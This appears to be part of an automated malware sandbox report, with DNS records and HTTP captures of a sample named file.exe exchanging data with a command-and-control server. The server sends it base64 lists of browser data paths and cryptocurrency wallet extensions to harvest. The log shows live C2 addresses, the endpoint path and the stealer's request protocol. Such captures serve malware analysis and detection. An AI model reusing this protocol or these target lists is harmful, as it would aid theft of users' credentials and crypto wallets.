Nov 26, 2024 10:10:48.010159969 CET	1.1.1.1	192.168.2.5	0xb81a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:48.010159969 CET	1.1.1.1	192.168.2.5	0xb81a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:48.010524988 CET	1.1.1.1	192.168.2.5	0x2303	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 10:10:48.012027025 CET	1.1.1.1	192.168.2.5	0x4081	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:48.012027025 CET	1.1.1.1	192.168.2.5	0x4081	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:48.012037992 CET	1.1.1.1	192.168.2.5	0xc5cf	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 10:10:50.288089991 CET	1.1.1.1	192.168.2.5	0x2b1c	Name error (3)	property-imper.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:50.437781096 CET	1.1.1.1	192.168.2.5	0xd4c5	Name error (3)	frogs-severz.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:53.900566101 CET	1.1.1.1	192.168.2.5	0x1605	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:59.377319098 CET	1.1.1.1	192.168.2.5	0x8411	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:59.409223080 CET	1.1.1.1	192.168.2.5	0xe89	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:59.604038954 CET	1.1.1.1	192.168.2.5	0xdaf5	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:00.520958900 CET	1.1.1.1	192.168.2.5	0xc44	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:00.527690887 CET	1.1.1.1	192.168.2.5	0x14e5	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:11:00.527690887 CET	1.1.1.1	192.168.2.5	0x14e5	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:00.702692032 CET	1.1.1.1	192.168.2.5	0x5e6e	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:00.703622103 CET	1.1.1.1	192.168.2.5	0x1c8c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:00.847537041 CET	1.1.1.1	192.168.2.5	0xadf	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 26, 2024 10:11:00.847619057 CET	1.1.1.1	192.168.2.5	0x5b2d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 26, 2024 10:11:02.315494061 CET	1.1.1.1	192.168.2.5	0x61fc	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:11:02.315494061 CET	1.1.1.1	192.168.2.5	0x61fc	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:02.316684961 CET	1.1.1.1	192.168.2.5	0x92ba	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:05.143143892 CET	1.1.1.1	192.168.2.5	0xa143	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:05.143372059 CET	1.1.1.1	192.168.2.5	0xab1	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 26, 2024 10:11:09.945164919 CET	1.1.1.1	192.168.2.5	0x9343	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:15.709480047 CET	1.1.1.1	192.168.2.5	0xdbc5	Name error (3)	property-imper.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:16.040353060 CET	1.1.1.1	192.168.2.5	0x112c	Name error (3)	frogs-severz.sbs	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	185.215.113.206	80	3440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:08:57.944061041 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 10:08:59.331569910 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:08:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 10:08:59.362220049 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 37 42 44 33 33 35 30 41 46 31 46 31 36 32 32 33 37 39 37 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 2d 2d 0d 0a Data Ascii: ------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="hwid"17BD3350AF1F1622379703------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="build"mars------JEHIIDGCFHIEGDGCBFHD--
Nov 26, 2024 10:08:59.829746008 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:08:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 57 4e 6b 4e 44 55 34 59 32 59 78 4e 54 52 69 4d 7a 68 6d 59 7a 51 77 4f 44 64 6c 4e 32 49 35 5a 6d 55 33 4e 47 49 31 59 6a 4a 69 4d 44 55 34 4d 44 42 68 4e 6d 49 7a 4d 54 51 31 4f 57 56 6b 4d 54 56 68 4f 44 64 6d 59 6d 51 32 59 7a 41 32 4f 47 49 77 4f 44 51 79 5a 47 45 32 4d 6a 64 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YWNkNDU4Y2YxNTRiMzhmYzQwODdlN2I5ZmU3NGI1YjJiMDU4MDBhNmIzMTQ1OWVkMTVhODdmYmQ2YzA2OGIwODQyZGE2MjdlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 26, 2024 10:08:59.834199905 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGCAAAAFBKEBFHJEGCF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 2d 2d 0d 0a Data Ascii: ------FBGCAAAAFBKEBFHJEGCFContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------FBGCAAAAFBKEBFHJEGCFContent-Disposition: form-data; name="message"browsers------FBGCAAAAFBKEBFHJEGCF--
Nov 26, 2024 10:09:00.291457891 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 26, 2024 10:09:00.291563034 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Nov 26, 2024 10:09:00.489583015 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Nov 26, 2024 10:09:00.501498938 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 2d 2d 0d 0a Data Ascii: ------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="message"plugins------EGDBFIIECBGDGDGDHCAK--
Nov 26, 2024 10:09:00.955905914 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 26, 2024 10:09:00.956078053 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Nov 26, 2024 10:09:00.956087112 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Nov 26, 2024 10:09:00.956104040 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Nov 26, 2024 10:09:00.956113100 CET	1236	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Nov 26, 2024 10:09:00.956124067 CET	1236	IN	Data Raw: 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 77 78 66 44 42 38 4d 48 78 61 62 32 Data Ascii: a2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnB
Nov 26, 2024 10:09:00.964627028 CET	1040	IN	Data Raw: 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 31 71 62 57 4e 76 62 32 6c 6d 59 6e Data Ascii: MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20
Nov 26, 2024 10:09:00.966281891 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDHJDAFHJEBFIDAFHI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 2d 2d 0d 0a Data Ascii: ------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="message"fplugins------GCGDHJDAFHJEBFIDAFHI--
Nov 26, 2024 10:09:01.420572042 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 26, 2024 10:09:01.442570925 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJJEHCBAKFBFHJKFBK Host: 185.215.113.206 Content-Length: 5383 Connection: Keep-Alive Cache-Control: no-cache
